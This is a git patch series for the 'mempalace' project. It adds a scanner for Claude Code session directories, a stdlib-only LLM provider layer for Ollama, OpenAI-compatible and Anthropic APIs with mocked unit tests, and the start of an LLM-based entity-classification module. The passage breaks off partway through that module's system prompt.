cwd + return _decode_slug_fallback(project_dir.name) + + +def scan_claude_projects(path: str | Path) -> list[ProjectInfo]: + """Scan a ``.claude/projects/`` directory for Claude Code conversations. + + One ProjectInfo per subdir. ``has_git`` is False (the directory isn't a + repo itself) but ``total_commits`` is repurposed here as session count so + the UX surfaces a density signal for ranking. + """ + root = Path(path).expanduser().resolve() + if not is_claude_projects_root(root): + return [] + + projects: dict[str, ProjectInfo] = {} + for sub in sorted(root.iterdir()): + if not (sub.is_dir() and sub.name.startswith("-")): + continue + try: + sessions = [p for p in sub.iterdir() if p.is_file() and p.suffix == ".jsonl"] + except OSError: + continue + if not sessions: + continue + + name = _resolve_project_name(sub) + session_count = len(sessions) + + proj = ProjectInfo( + name=name, + repo_root=sub, + manifest=None, + has_git=False, + total_commits=session_count, + user_commits=session_count, + is_mine=True, # Claude Code sessions are authored by the user + ) + existing = projects.get(name) + if existing is None or session_count > existing.user_commits: + projects[name] = proj + + return sorted( + projects.values(), + key=lambda p: (-p.user_commits, p.name), + ) diff --git a/tests/test_convo_scanner.py b/tests/test_convo_scanner.py new file mode 100644 index 0000000..9fcd339 --- /dev/null +++ b/tests/test_convo_scanner.py @@ -0,0 +1,199 @@ +"""Tests for mempalace.convo_scanner.""" + +import json + +from mempalace.convo_scanner import ( + _decode_slug_fallback, + _extract_cwd_from_session, + _resolve_project_name, + is_claude_projects_root, + scan_claude_projects, +) + + +# ── is_claude_projects_root ───────────────────────────────────────────── + + +def test_is_claude_projects_root_true(tmp_path): + project_dir = tmp_path / "-home-user-dev-foo" + project_dir.mkdir() + (project_dir / "abc.jsonl").write_text("{}\n") + assert is_claude_projects_root(tmp_path) + + +def test_is_claude_projects_root_false_no_dash_prefix(tmp_path): + project_dir = tmp_path / "normal-folder" + project_dir.mkdir() + (project_dir / "abc.jsonl").write_text("{}\n") + assert not is_claude_projects_root(tmp_path) + + +def test_is_claude_projects_root_false_no_jsonl(tmp_path): + project_dir = tmp_path / "-home-user-foo" + project_dir.mkdir() + (project_dir / "other.txt").write_text("hello") + assert not is_claude_projects_root(tmp_path) + + +def test_is_claude_projects_root_false_empty(tmp_path): + assert not is_claude_projects_root(tmp_path) + + +def test_is_claude_projects_root_false_nonexistent(tmp_path): + assert not is_claude_projects_root(tmp_path / "does-not-exist") + + +# ── cwd extraction ────────────────────────────────────────────────────── + + +def test_extract_cwd_from_session(tmp_path): + f = tmp_path / "session.jsonl" + lines = [ + json.dumps({"type": "file-history-snapshot", "messageId": "x"}), + json.dumps({"type": "user", "cwd": "/home/user/dev/myproj", "content": "hi"}), + ] + f.write_text("\n".join(lines) + "\n") + assert _extract_cwd_from_session(f) == "/home/user/dev/myproj" + + +def test_extract_cwd_from_session_skips_malformed(tmp_path): + f = tmp_path / "session.jsonl" + f.write_text( + "{not valid json\n" + json.dumps({"type": "user", "cwd": "/home/user/dev/good"}) + "\n" + ) + assert _extract_cwd_from_session(f) == "/home/user/dev/good" + + +def test_extract_cwd_from_session_none_if_absent(tmp_path): + f = tmp_path / "session.jsonl" + f.write_text(json.dumps({"type": "x", "messageId": "y"}) + "\n") + assert _extract_cwd_from_session(f) is None + + +def test_extract_cwd_from_session_none_if_file_missing(tmp_path): + assert _extract_cwd_from_session(tmp_path / "missing.jsonl") is None + + +# ── slug fallback ─────────────────────────────────────────────────────── + + +def test_decode_slug_fallback_last_segment(): + assert _decode_slug_fallback("-home-user-dev-foo") == "foo" + + +def test_decode_slug_fallback_double_dash(): + assert _decode_slug_fallback("-home-user--bentokit") == "bentokit" + + +def test_decode_slug_fallback_empty(): + assert _decode_slug_fallback("") == "" + + +def test_decode_slug_fallback_only_dashes(): + assert _decode_slug_fallback("---") == "---" + + +# ── _resolve_project_name ─────────────────────────────────────────────── + + +def test_resolve_project_name_uses_cwd(tmp_path): + pdir = tmp_path / "-home-user-dev-coolproj" + pdir.mkdir() + session = pdir / "a.jsonl" + session.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/cool-proj-real"}) + "\n") + assert _resolve_project_name(pdir) == "cool-proj-real" + + +def test_resolve_project_name_falls_back_when_no_cwd(tmp_path): + pdir = tmp_path / "-home-user-dev-foo" + pdir.mkdir() + (pdir / "a.jsonl").write_text(json.dumps({"type": "x"}) + "\n") + assert _resolve_project_name(pdir) == "foo" + + +def test_resolve_project_name_prefers_newer_session(tmp_path): + """Newest session's cwd wins — covers the case where user renamed the + project directory between sessions.""" + + pdir = tmp_path / "-home-user-dev-old" + pdir.mkdir() + old = pdir / "old.jsonl" + old.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/old"}) + "\n") + # Ensure distinguishable mtimes + old_mtime = old.stat().st_mtime - 100 + import os + + os.utime(old, (old_mtime, old_mtime)) + + new = pdir / "new.jsonl" + new.write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/new-name"}) + "\n") + assert _resolve_project_name(pdir) == "new-name" + + +# ── scan_claude_projects ──────────────────────────────────────────────── + + +def test_scan_claude_projects_empty_dir(tmp_path): + assert scan_claude_projects(tmp_path) == [] + + +def test_scan_claude_projects_not_a_projects_root(tmp_path): + """Returns empty list if the dir doesn't look like .claude/projects/.""" + (tmp_path / "some-folder").mkdir() + (tmp_path / "some-folder" / "readme.md").write_text("hi") + assert scan_claude_projects(tmp_path) == [] + + +def test_scan_claude_projects_finds_projects(tmp_path): + p1 = tmp_path / "-home-user-dev-alpha" + p1.mkdir() + (p1 / "a.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/alpha"}) + "\n") + (p1 / "b.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/alpha"}) + "\n") + + p2 = tmp_path / "-home-user-dev-beta" + p2.mkdir() + (p2 / "x.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/beta"}) + "\n") + + result = scan_claude_projects(tmp_path) + names = [p.name for p in result] + assert "alpha" in names + assert "beta" in names + # alpha has 2 sessions, beta has 1 — alpha ranks higher + alpha = next(p for p in result if p.name == "alpha") + beta = next(p for p in result if p.name == "beta") + assert alpha.user_commits == 2 + assert beta.user_commits == 1 + + +def test_scan_claude_projects_ignores_dirs_without_jsonl(tmp_path): + empty_proj = tmp_path / "-home-user-dev-empty" + empty_proj.mkdir() + (empty_proj / "notes.md").write_text("hi") + assert scan_claude_projects(tmp_path) == [] + + +def test_scan_claude_projects_marks_as_mine(tmp_path): + p = tmp_path / "-home-user-dev-owned" + p.mkdir() + (p / "s.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/dev/owned"}) + "\n") + result = scan_claude_projects(tmp_path) + assert len(result) == 1 + assert result[0].is_mine is True + + +def test_scan_claude_projects_dedup_by_name(tmp_path): + """Two encoded dirs resolving to the same project name collapse to one.""" + p1 = tmp_path / "-home-user-a-proj" + p1.mkdir() + (p1 / "s.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/a/proj"}) + "\n") + (p1 / "t.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/a/proj"}) + "\n") + + p2 = tmp_path / "-home-user-b-proj" + p2.mkdir() + (p2 / "u.jsonl").write_text(json.dumps({"type": "user", "cwd": "/home/user/b/proj"}) + "\n") + + result = scan_claude_projects(tmp_path) + # Both decode to "proj"; only one remains — the one with more sessions wins + assert len(result) == 1 + assert result[0].name == "proj" + assert result[0].user_commits == 2 From df6c7d0dc3d805f88ed4ffc1e897ab66ddaa4134 Mon Sep 17 00:00:00 2001 From: Igor Lins e Silva <4753812+igorls@users.noreply.github.com> Date: Fri, 24 Apr 2026 00:46:43 -0300 Subject: [PATCH 44/61] feat(llm): pluggable provider abstraction for entity refinement MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three providers cover the useful space while keeping the zero-API default: - `ollama` (default): local models via http://localhost:11434. Works fully offline. Tag-matching check accepts both `model` and `model:latest` forms. - `openai-compat`: any /v1/chat/completions endpoint. Covers OpenRouter, LM Studio, llama.cpp server, vLLM, Groq, Together, Fireworks, and most self-hosted frameworks. API key falls back to $OPENAI_API_KEY. Endpoint normalization is forgiving about trailing `/v1`. - `anthropic`: Messages API v2023-06-01. API key falls back to $ANTHROPIC_API_KEY. Concatenates multi-block text responses. JSON mode is normalized across providers — Ollama uses `format: "json"`, OpenAI-compat uses `response_format`, Anthropic uses prompt-level instruction. Callers request JSON once; this module handles the provider-specific plumbing. No external SDK dependency; stdlib `urllib` throughout. HTTP errors are wrapped into a single `LLMError` class so callers don't need to distinguish transport, auth, and parse failures at the call site. 26 tests, all with mocked HTTP — suite runs offline with no real provider required. --- mempalace/llm_client.py | 305 ++++++++++++++++++++++++++++++++++++ tests/test_llm_client.py | 327 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 632 insertions(+) create mode 100644 mempalace/llm_client.py create mode 100644 tests/test_llm_client.py diff --git a/mempalace/llm_client.py b/mempalace/llm_client.py new file mode 100644 index 0000000..442cf31 --- /dev/null +++ b/mempalace/llm_client.py @@ -0,0 +1,305 @@ +""" +llm_client.py — Minimal provider abstraction for LLM-assisted entity refinement. + +Three providers cover the useful space: + +- ``ollama`` (default): local models via http://localhost:11434. Works fully + offline. Honors MemPalace's "zero-API required" principle. +- ``openai-compat``: any OpenAI-compatible ``/v1/chat/completions`` endpoint. + Covers OpenRouter, LM Studio, llama.cpp server, vLLM, Groq, Fireworks, + Together, and most self-hosted setups. +- ``anthropic``: the official Messages API. Opt-in for users who want Haiku + quality without setting up a local model. + +All providers expose the same ``classify(system, user, json_mode)`` method and +the same ``check_available()`` probe. No external SDK dependencies — stdlib +``urllib`` only. + +JSON mode matters here: we always ask for structured output. Providers +differ on how to request it (Ollama: ``format: json``; OpenAI-compat: +``response_format``; Anthropic: prompt-level instruction) and this module +normalizes that away from the caller. +""" + +from __future__ import annotations + +import json +import os +from dataclasses import dataclass +from typing import Optional +from urllib.error import HTTPError, URLError +from urllib.request import Request, urlopen + + +class LLMError(RuntimeError): + """Raised for any provider failure — transport, parse, auth, missing model.""" + + +@dataclass +class LLMResponse: + text: str + model: str + provider: str + raw: dict + + +# ==================== BASE ==================== + + +class LLMProvider: + name: str = "base" + + def __init__( + self, + model: str, + endpoint: Optional[str] = None, + api_key: Optional[str] = None, + timeout: int = 120, + ): + self.model = model + self.endpoint = endpoint + self.api_key = api_key + self.timeout = timeout + + def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse: + raise NotImplementedError + + def check_available(self) -> tuple[bool, str]: + """Return ``(ok, message)``. Fast probe that the provider is reachable.""" + raise NotImplementedError + + +def _http_post_json(url: str, body: dict, headers: dict, timeout: int) -> dict: + """POST JSON and return the parsed response. Raises LLMError on any failure.""" + req = Request( + url, + data=json.dumps(body).encode("utf-8"), + headers={"Content-Type": "application/json", **headers}, + ) + try: + with urlopen(req, timeout=timeout) as resp: + return json.loads(resp.read()) + except HTTPError as e: + detail = "" + try: + detail = e.read().decode("utf-8", errors="replace")[:500] + except Exception: + pass + raise LLMError(f"HTTP {e.code} from {url}: {detail or e.reason}") from e + except (URLError, OSError) as e: + raise LLMError(f"Cannot reach {url}: {e}") from e + except json.JSONDecodeError as e: + raise LLMError(f"Malformed response from {url}: {e}") from e + + +# ==================== OLLAMA ==================== + + +class OllamaProvider(LLMProvider): + name = "ollama" + DEFAULT_ENDPOINT = "http://localhost:11434" + + def __init__( + self, + model: str, + endpoint: Optional[str] = None, + timeout: int = 180, + **_: object, + ): + super().__init__( + model=model, + endpoint=endpoint or self.DEFAULT_ENDPOINT, + timeout=timeout, + ) + + def check_available(self) -> tuple[bool, str]: + try: + with urlopen(f"{self.endpoint}/api/tags", timeout=5) as resp: + data = json.loads(resp.read()) + except (URLError, HTTPError, OSError, json.JSONDecodeError) as e: + return False, f"Cannot reach Ollama at {self.endpoint}: {e}" + names = {m.get("name", "") for m in data.get("models", []) or []} + # Ollama tags may or may not include ':latest' — accept either form + wanted = {self.model, f"{self.model}:latest"} + if not names & wanted: + return ( + False, + f"Model '{self.model}' not loaded in Ollama. " f"Run: ollama pull {self.model}", + ) + return True, "ok" + + def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse: + body: dict = { + "model": self.model, + "messages": [ + {"role": "system", "content": system}, + {"role": "user", "content": user}, + ], + "stream": False, + "options": {"temperature": 0.1}, + } + if json_mode: + body["format"] = "json" + data = _http_post_json(f"{self.endpoint}/api/chat", body, headers={}, timeout=self.timeout) + text = (data.get("message") or {}).get("content", "") + if not text: + raise LLMError(f"Empty response from Ollama (model={self.model})") + return LLMResponse(text=text, model=self.model, provider=self.name, raw=data) + + +# ==================== OPENAI-COMPAT ==================== + + +class OpenAICompatProvider(LLMProvider): + """Any OpenAI-compatible ``/v1/chat/completions`` endpoint. + + Supply ``--llm-endpoint http://host:port`` (with or without ``/v1``). + API key via ``--llm-api-key`` or the ``OPENAI_API_KEY`` env var. + """ + + name = "openai-compat" + + def __init__( + self, + model: str, + endpoint: Optional[str] = None, + api_key: Optional[str] = None, + timeout: int = 120, + **_: object, + ): + resolved_key = api_key or os.environ.get("OPENAI_API_KEY") + super().__init__(model=model, endpoint=endpoint, api_key=resolved_key, timeout=timeout) + + def _resolve_url(self) -> str: + if not self.endpoint: + raise LLMError("openai-compat provider requires --llm-endpoint") + url = self.endpoint.rstrip("/") + if url.endswith("/chat/completions"): + return url + if not url.endswith("/v1"): + url = f"{url}/v1" + return f"{url}/chat/completions" + + def check_available(self) -> tuple[bool, str]: + if not self.endpoint: + return False, "no --llm-endpoint configured" + base = self.endpoint.rstrip("/") + base = base.removesuffix("/chat/completions").removesuffix("/v1") + try: + req = Request(f"{base}/v1/models") + if self.api_key: + req.add_header("Authorization", f"Bearer {self.api_key}") + with urlopen(req, timeout=5): + pass + except (URLError, HTTPError, OSError) as e: + return False, f"Cannot reach {self.endpoint}: {e}" + return True, "ok" + + def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse: + body: dict = { + "model": self.model, + "messages": [ + {"role": "system", "content": system}, + {"role": "user", "content": user}, + ], + "temperature": 0.1, + } + if json_mode: + body["response_format"] = {"type": "json_object"} + headers = {} + if self.api_key: + headers["Authorization"] = f"Bearer {self.api_key}" + data = _http_post_json(self._resolve_url(), body, headers=headers, timeout=self.timeout) + try: + text = data["choices"][0]["message"]["content"] + except (KeyError, IndexError, TypeError) as e: + raise LLMError(f"Unexpected response shape: {e}") from e + if not text: + raise LLMError(f"Empty response from {self.name} (model={self.model})") + return LLMResponse(text=text, model=self.model, provider=self.name, raw=data) + + +# ==================== ANTHROPIC ==================== + + +class AnthropicProvider(LLMProvider): + name = "anthropic" + DEFAULT_ENDPOINT = "https://api.anthropic.com" + API_VERSION = "2023-06-01" + + def __init__( + self, + model: str, + api_key: Optional[str] = None, + endpoint: Optional[str] = None, + timeout: int = 120, + **_: object, + ): + key = api_key or os.environ.get("ANTHROPIC_API_KEY") + super().__init__( + model=model, + endpoint=endpoint or self.DEFAULT_ENDPOINT, + api_key=key, + timeout=timeout, + ) + + def check_available(self) -> tuple[bool, str]: + if not self.api_key: + return False, "ANTHROPIC_API_KEY not set (use --llm-api-key or env)" + # Don't probe — a live request would cost money. First real call will + # surface auth errors if the key is invalid. + return True, "ok" + + def classify(self, system: str, user: str, json_mode: bool = True) -> LLMResponse: + if not self.api_key: + raise LLMError("Anthropic provider requires ANTHROPIC_API_KEY env or --llm-api-key") + sys_prompt = system + if json_mode: + sys_prompt += "\n\nRespond with valid JSON only, no prose." + body = { + "model": self.model, + "max_tokens": 2048, + "temperature": 0.1, + "system": sys_prompt, + "messages": [{"role": "user", "content": user}], + } + headers = { + "X-API-Key": self.api_key, + "anthropic-version": self.API_VERSION, + } + data = _http_post_json( + f"{self.endpoint}/v1/messages", body, headers=headers, timeout=self.timeout + ) + try: + text = "".join( + b.get("text", "") for b in data.get("content", []) or [] if b.get("type") == "text" + ) + except (AttributeError, TypeError) as e: + raise LLMError(f"Unexpected response shape: {e}") from e + if not text: + raise LLMError(f"Empty response from Anthropic (model={self.model})") + return LLMResponse(text=text, model=self.model, provider=self.name, raw=data) + + +# ==================== FACTORY ==================== + + +PROVIDERS: dict[str, type[LLMProvider]] = { + "ollama": OllamaProvider, + "openai-compat": OpenAICompatProvider, + "anthropic": AnthropicProvider, +} + + +def get_provider( + name: str, + model: str, + endpoint: Optional[str] = None, + api_key: Optional[str] = None, + timeout: int = 120, +) -> LLMProvider: + """Build a provider by name. Raises LLMError on unknown provider.""" + cls = PROVIDERS.get(name) + if cls is None: + raise LLMError(f"Unknown provider '{name}'. Choices: {sorted(PROVIDERS.keys())}") + return cls(model=model, endpoint=endpoint, api_key=api_key, timeout=timeout) diff --git a/tests/test_llm_client.py b/tests/test_llm_client.py new file mode 100644 index 0000000..184d100 --- /dev/null +++ b/tests/test_llm_client.py @@ -0,0 +1,327 @@ +"""Tests for mempalace.llm_client. + +HTTP is mocked throughout — these tests do not require a running Ollama +or network access. Live-provider smoke tests live outside the unit-test +suite. +""" + +import json +from unittest.mock import patch, MagicMock + +import pytest + +from mempalace.llm_client import ( + AnthropicProvider, + LLMError, + OllamaProvider, + OpenAICompatProvider, + _http_post_json, + get_provider, +) + + +# ── factory ───────────────────────────────────────────────────────────── + + +def test_get_provider_ollama(): + p = get_provider("ollama", "gemma4:e4b") + assert isinstance(p, OllamaProvider) + assert p.model == "gemma4:e4b" + assert p.endpoint == OllamaProvider.DEFAULT_ENDPOINT + + +def test_get_provider_openai_compat(): + p = get_provider("openai-compat", "foo", endpoint="http://localhost:1234") + assert isinstance(p, OpenAICompatProvider) + + +def test_get_provider_anthropic(): + p = get_provider("anthropic", "claude-haiku", api_key="sk-xxx") + assert isinstance(p, AnthropicProvider) + assert p.api_key == "sk-xxx" + + +def test_get_provider_unknown_raises(): + with pytest.raises(LLMError, match="Unknown provider"): + get_provider("nonsense", "x") + + +# ── _http_post_json ───────────────────────────────────────────────────── + + +def test_http_post_json_success(): + mock_resp = MagicMock() + mock_resp.read.return_value = b'{"ok": true}' + mock_resp.__enter__.return_value = mock_resp + mock_resp.__exit__.return_value = False + with patch("mempalace.llm_client.urlopen", return_value=mock_resp): + result = _http_post_json("http://x/y", {"a": 1}, {}, timeout=5) + assert result == {"ok": True} + + +def test_http_post_json_http_error_wraps_as_llm_error(): + from urllib.error import HTTPError + import io + + err = HTTPError("http://x", 404, "Not Found", {}, io.BytesIO(b"model missing")) + with patch("mempalace.llm_client.urlopen", side_effect=err): + with pytest.raises(LLMError, match="HTTP 404"): + _http_post_json("http://x", {}, {}, timeout=5) + + +def test_http_post_json_url_error_wraps_as_llm_error(): + from urllib.error import URLError + + with patch("mempalace.llm_client.urlopen", side_effect=URLError("conn refused")): + with pytest.raises(LLMError, match="Cannot reach"): + _http_post_json("http://x", {}, {}, timeout=5) + + +def test_http_post_json_malformed_response(): + mock_resp = MagicMock() + mock_resp.read.return_value = b"not json" + mock_resp.__enter__.return_value = mock_resp + mock_resp.__exit__.return_value = False + with patch("mempalace.llm_client.urlopen", return_value=mock_resp): + with pytest.raises(LLMError, match="Malformed"): + _http_post_json("http://x", {}, {}, timeout=5) + + +# ── OllamaProvider ────────────────────────────────────────────────────── + + +def _mock_ollama_chat_response(content: str): + mock = MagicMock() + mock.read.return_value = json.dumps({"message": {"content": content}}).encode() + mock.__enter__.return_value = mock + mock.__exit__.return_value = False + return mock + + +def test_ollama_check_available_finds_model(): + tags = {"models": [{"name": "gemma4:e4b"}, {"name": "other:latest"}]} + mock = MagicMock() + mock.read.return_value = json.dumps(tags).encode() + mock.__enter__.return_value = mock + mock.__exit__.return_value = False + with patch("mempalace.llm_client.urlopen", return_value=mock): + p = OllamaProvider(model="gemma4:e4b") + ok, msg = p.check_available() + assert ok + assert msg == "ok" + + +def test_ollama_check_available_accepts_latest_suffix(): + tags = {"models": [{"name": "mymodel:latest"}]} + mock = MagicMock() + mock.read.return_value = json.dumps(tags).encode() + mock.__enter__.return_value = mock + mock.__exit__.return_value = False + with patch("mempalace.llm_client.urlopen", return_value=mock): + p = OllamaProvider(model="mymodel") + ok, _ = p.check_available() + assert ok + + +def test_ollama_check_available_missing_model(): + tags = {"models": [{"name": "other:latest"}]} + mock = MagicMock() + mock.read.return_value = json.dumps(tags).encode() + mock.__enter__.return_value = mock + mock.__exit__.return_value = False + with patch("mempalace.llm_client.urlopen", return_value=mock): + p = OllamaProvider(model="absent") + ok, msg = p.check_available() + assert not ok + assert "ollama pull absent" in msg + + +def test_ollama_check_available_unreachable(): + from urllib.error import URLError + + with patch("mempalace.llm_client.urlopen", side_effect=URLError("refused")): + p = OllamaProvider(model="gemma4:e4b") + ok, msg = p.check_available() + assert not ok + assert "Cannot reach Ollama" in msg + + +def test_ollama_classify_sends_json_format(): + captured = {} + + def fake_urlopen(req, *, timeout): + captured["url"] = req.full_url + captured["body"] = json.loads(req.data.decode()) + return _mock_ollama_chat_response('{"classifications": []}') + + with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen): + p = OllamaProvider(model="gemma4:e4b") + resp = p.classify("sys", "user", json_mode=True) + + assert captured["body"]["format"] == "json" + assert captured["body"]["model"] == "gemma4:e4b" + assert captured["url"].endswith("/api/chat") + assert resp.provider == "ollama" + assert resp.text == '{"classifications": []}' + + +def test_ollama_classify_empty_content_raises(): + with patch("mempalace.llm_client.urlopen", return_value=_mock_ollama_chat_response("")): + p = OllamaProvider(model="x") + with pytest.raises(LLMError, match="Empty response"): + p.classify("s", "u") + + +# ── OpenAICompatProvider ──────────────────────────────────────────────── + + +def _mock_openai_response(content: str): + mock = MagicMock() + payload = {"choices": [{"message": {"content": content}}]} + mock.read.return_value = json.dumps(payload).encode() + mock.__enter__.return_value = mock + mock.__exit__.return_value = False + return mock + + +def test_openai_compat_resolves_url_with_v1_suffix(): + captured = {} + + def fake_urlopen(req, *, timeout): + captured["url"] = req.full_url + return _mock_openai_response('{"ok": true}') + + with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen): + p = OpenAICompatProvider(model="x", endpoint="http://h:1234") + p.classify("s", "u") + assert captured["url"] == "http://h:1234/v1/chat/completions" + + +def test_openai_compat_resolves_url_with_existing_v1(): + captured = {} + + def fake_urlopen(req, *, timeout): + captured["url"] = req.full_url + return _mock_openai_response('{"ok": true}') + + with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen): + p = OpenAICompatProvider(model="x", endpoint="http://h:1234/v1") + p.classify("s", "u") + assert captured["url"] == "http://h:1234/v1/chat/completions" + + +def test_openai_compat_requires_endpoint(): + p = OpenAICompatProvider(model="x") + with pytest.raises(LLMError, match="requires --llm-endpoint"): + p.classify("s", "u") + + +def test_openai_compat_sends_authorization_when_key_present(): + captured = {} + + def fake_urlopen(req, *, timeout): + captured["auth"] = req.get_header("Authorization") + return _mock_openai_response('{"ok": true}') + + with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen): + p = OpenAICompatProvider(model="x", endpoint="http://h", api_key="sk-aaa") + p.classify("s", "u") + assert captured["auth"] == "Bearer sk-aaa" + + +def test_openai_compat_uses_env_var_fallback(monkeypatch): + monkeypatch.setenv("OPENAI_API_KEY", "sk-from-env") + p = OpenAICompatProvider(model="x", endpoint="http://h") + assert p.api_key == "sk-from-env" + + +def test_openai_compat_sends_response_format_json(): + captured = {} + + def fake_urlopen(req, *, timeout): + captured["body"] = json.loads(req.data.decode()) + return _mock_openai_response('{"ok": true}') + + with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen): + p = OpenAICompatProvider(model="x", endpoint="http://h") + p.classify("s", "u", json_mode=True) + assert captured["body"]["response_format"] == {"type": "json_object"} + + +def test_openai_compat_unexpected_shape_raises(): + mock = MagicMock() + mock.read.return_value = b'{"nothing": "here"}' + mock.__enter__.return_value = mock + mock.__exit__.return_value = False + with patch("mempalace.llm_client.urlopen", return_value=mock): + p = OpenAICompatProvider(model="x", endpoint="http://h") + with pytest.raises(LLMError, match="Unexpected response shape"): + p.classify("s", "u") + + +# ── AnthropicProvider ─────────────────────────────────────────────────── + + +def _mock_anthropic_response(text: str): + mock = MagicMock() + payload = {"content": [{"type": "text", "text": text}]} + mock.read.return_value = json.dumps(payload).encode() + mock.__enter__.return_value = mock + mock.__exit__.return_value = False + return mock + + +def test_anthropic_requires_api_key(monkeypatch): + monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False) + p = AnthropicProvider(model="claude-haiku") + ok, msg = p.check_available() + assert not ok + assert "ANTHROPIC_API_KEY" in msg + + +def test_anthropic_reads_env_key(monkeypatch): + monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-env") + p = AnthropicProvider(model="claude-haiku") + assert p.api_key == "sk-ant-env" + ok, _ = p.check_available() + assert ok + + +def test_anthropic_classify_sends_version_and_key(): + captured = {} + + def fake_urlopen(req, *, timeout): + captured["api_key"] = req.get_header("X-api-key") + captured["version"] = req.get_header("Anthropic-version") + return _mock_anthropic_response('{"ok": true}') + + with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen): + p = AnthropicProvider(model="claude-haiku", api_key="sk-ant-abc") + resp = p.classify("s", "u") + assert captured["api_key"] == "sk-ant-abc" + assert captured["version"] == AnthropicProvider.API_VERSION + assert resp.text == '{"ok": true}' + + +def test_anthropic_joins_multiple_text_blocks(): + mock = MagicMock() + payload = { + "content": [ + {"type": "text", "text": "part one. "}, + {"type": "text", "text": "part two."}, + ] + } + mock.read.return_value = json.dumps(payload).encode() + mock.__enter__.return_value = mock + mock.__exit__.return_value = False + with patch("mempalace.llm_client.urlopen", return_value=mock): + p = AnthropicProvider(model="claude-haiku", api_key="sk-ant") + resp = p.classify("s", "u") + assert resp.text == "part one. part two." + + +def test_anthropic_no_key_raises_on_classify(monkeypatch): + monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False) + p = AnthropicProvider(model="claude-haiku") + with pytest.raises(LLMError, match="requires ANTHROPIC_API_KEY"): + p.classify("s", "u") From 10a743d5d83ef561f8dfccd5079eac9cdd6fe014 Mon Sep 17 00:00:00 2001 From: Igor Lins e Silva <4753812+igorls@users.noreply.github.com> Date: Fri, 24 Apr 2026 00:46:59 -0300 Subject: [PATCH 45/61] feat(llm): interactive entity refinement with batching and cancellation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Takes the candidate set produced by phase-1 detection (manifests, git authors, regex on prose) and asks an LLM to reclassify each candidate as PERSON / PROJECT / TOPIC / COMMON_WORD / AMBIGUOUS. Scale approach: never feed the raw corpus to the LLM. For each candidate, collect up to 3 context lines from sampled prose, cap each at 240 chars, batch 25 candidates per call. Keeps total input around 50-100K tokens even on large corpora and completes in a few minutes on a 4B local model. Interactive UX: - Stderr progress bar with the current candidate name, updates per-batch. - Ctrl-C interrupts cleanly: returns a RefineResult with `cancelled=True` and whatever was classified before the interrupt. The partial result is safe to pass straight to confirm_entities. - Per-batch errors (transport, parse) are recorded in `errors` and don't abort the whole run. Refinement scope: only `uncertain` and low-confidence `projects` entries are sent. Manifest-backed projects (conf >= 0.95) and git- authored people are already authoritative and skip the LLM. Response parser is defensive — accepts `label` or `type` keys, lowercase/uppercase variants, top-level list or wrapped object, and strips markdown code fences. Unknown labels become AMBIGUOUS so the user reviews them rather than silently accepting a bad classification. `collect_corpus_text` provides a simple stratified prose sampler (recent first, capped per-file) so callers don't need to build their own corpus window. 28 tests with a FakeProvider (no network). Covers context collection, prompt building, response parsing variants, classification apply, end-to-end refine, and Ctrl-C partial-result behavior. --- mempalace/llm_refine.py | 368 ++++++++++++++++++++++++++++++++ tests/test_llm_refine.py | 446 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 814 insertions(+) create mode 100644 mempalace/llm_refine.py create mode 100644 tests/test_llm_refine.py diff --git a/mempalace/llm_refine.py b/mempalace/llm_refine.py new file mode 100644 index 0000000..91a950c --- /dev/null +++ b/mempalace/llm_refine.py @@ -0,0 +1,368 @@ +""" +llm_refine.py — Optional LLM refinement of regex-detected entities. + +Takes the candidate set produced by phase-1 detection (manifests, git +authors, regex on prose) and asks an LLM to reclassify each candidate as +PERSON / PROJECT / TOPIC / COMMON_WORD / AMBIGUOUS. + +Design constraints: +- Opt-in. Default init path never imports this module. +- Local-first by default (Ollama). +- Interactive UX: visible progress, clean cancellation (Ctrl-C returns + whatever was classified before the interrupt). +- Don't feed the raw corpus to the LLM — feed candidates + a few sampled + context lines each. Keeps total input to ~50-100K tokens even for huge + prose corpora. + +Public: + refine_entities(detected, corpus_text, provider, ...) -> dict +""" + +from __future__ import annotations + +import json +import re +import sys +from dataclasses import dataclass + +from mempalace.llm_client import LLMError, LLMProvider + + +BATCH_SIZE = 25 # candidates per LLM call; tuned for 4B local models +CONTEXT_LINES_PER_CANDIDATE = 3 +CONTEXT_WINDOW_CHARS = 240 # max chars per context line to keep tokens bounded + +# Valid labels the LLM is allowed to return. Anything else is treated as +# AMBIGUOUS so the user reviews it. +VALID_LABELS = {"PERSON", "PROJECT", "TOPIC", "COMMON_WORD", "AMBIGUOUS"} + + +SYSTEM_PROMPT = """You are helping organize a user's memory palace by classifying capitalized tokens found in their files. + +For each candidate, pick exactly ONE label: +- PERSON: a specific real person the user knows (colleague, family, character they write about) +- PROJECT: a named product, codebase, or effort the user works on +- TOPIC: a recurring theme or subject (not a person, not a project) — cities, technologies, concepts +- COMMON_WORD: an English word, verb, or fragment that isn't a named entity at all (e.g. "Created", "Before", "Never") +- AMBIGUOUS: context is insufficient to decide between two of the above + +Use the provided context lines to disambiguate. A capitalized word that only appears in metadata ("Created: 2026-04-24") is COMMON_WORD. A name that appears with pronouns and dialogue is PERSON. + +Respond with JSON only. Schema: +{"classifications": [{"name": "", "label": "